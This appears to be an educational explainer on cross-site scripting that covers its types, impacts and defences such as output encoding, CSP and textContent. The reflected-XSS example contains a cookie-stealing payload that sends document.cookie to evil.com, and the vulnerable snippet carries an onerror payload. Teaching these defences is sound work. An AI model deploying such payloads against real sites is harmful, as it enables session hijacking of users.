Skip to content
cybersecurity web-attacks

Cross-Site Scripting (XSS)

xss owasp web-security javascript attack-vectors
Plain English

Imagine someone slipping a fake instruction card into a library book. The next person who reads the book follows the fake instructions thinking they are legitimate. XSS works the same way: an attacker injects malicious code into a web page, and when another user visits that page, their browser runs the code as if the website put it there. This can steal login sessions, redirect users to phishing sites, or change what the page displays.

Technical Definition

Cross-Site Scripting (XSS) is an injection vulnerability where an attacker causes a victim’s browser to execute malicious JavaScript in the context of a trusted web application. Ranked A03:2021 in the OWASP Top 10 (Injection).

XSS types:

  • Reflected (Type 1): malicious script is part of the HTTP request (URL parameter, form input) and reflected back in the response. Requires the victim to click a crafted link. Example: https://site.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
  • Stored (Type 2): malicious script is permanently stored on the target server (database, comment field, user profile). Every user who views the infected page executes the script. More dangerous than reflected XSS.
  • DOM-based (Type 0): the vulnerability exists in client-side JavaScript that processes user input and writes it to the DOM without sanitization. The server never sees the malicious payload.

Impact:

  • Session hijacking (stealing cookies)
  • Credential theft (fake login forms)
  • Keylogging (capturing keystrokes)
  • Page defacement
  • Malware distribution
  • Cryptocurrency mining in the victim’s browser

Prevention:

  • Output encoding: HTML-encode all user-supplied data before rendering (&lt; instead of <)
  • Content Security Policy (CSP): HTTP header restricting which scripts can execute
  • DOM sanitization: use DOMPurify or equivalent for any innerHTML operations
  • HttpOnly cookies: prevent JavaScript access to session cookies
  • Framework auto-escaping: React, Angular, and Vue escape by default (but dangerouslySetInnerHTML in React bypasses this)

XSS attack and prevention

<!-- Vulnerable: direct insertion of user input -->
<div id="greeting"></div>
<script>
  // DANGEROUS: user input injected into DOM
  const name = new URLSearchParams(location.search).get('name');
  document.getElementById('greeting').innerHTML = 'Hello, ' + name;
  // URL: ?name=<img src=x onerror=alert(document.cookie)>
</script>

<!-- Safe: text content instead of innerHTML -->
<script>
  const name = new URLSearchParams(location.search).get('name');
  document.getElementById('greeting').textContent = 'Hello, ' + name;
  // Script tags and event handlers are rendered as plain text
</script>
# Content Security Policy header (prevents inline scripts)
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
In the Wild

XSS is the most commonly reported vulnerability in bug bounty programs. It affects any application that renders user-supplied content: comment sections, forums, search results, profile pages, and email clients. React and similar frameworks mitigate XSS by default through automatic escaping, but developers who use dangerouslySetInnerHTML, v-html (Vue), or [innerHTML] (Angular) reintroduce the risk. Stored XSS in a widely used application (like a popular forum or webmail client) can compromise thousands of users simultaneously. Browser vendors have deprecated the built-in XSS Auditor, making application-level defenses (CSP headers, output encoding, sanitization libraries) the primary line of defense.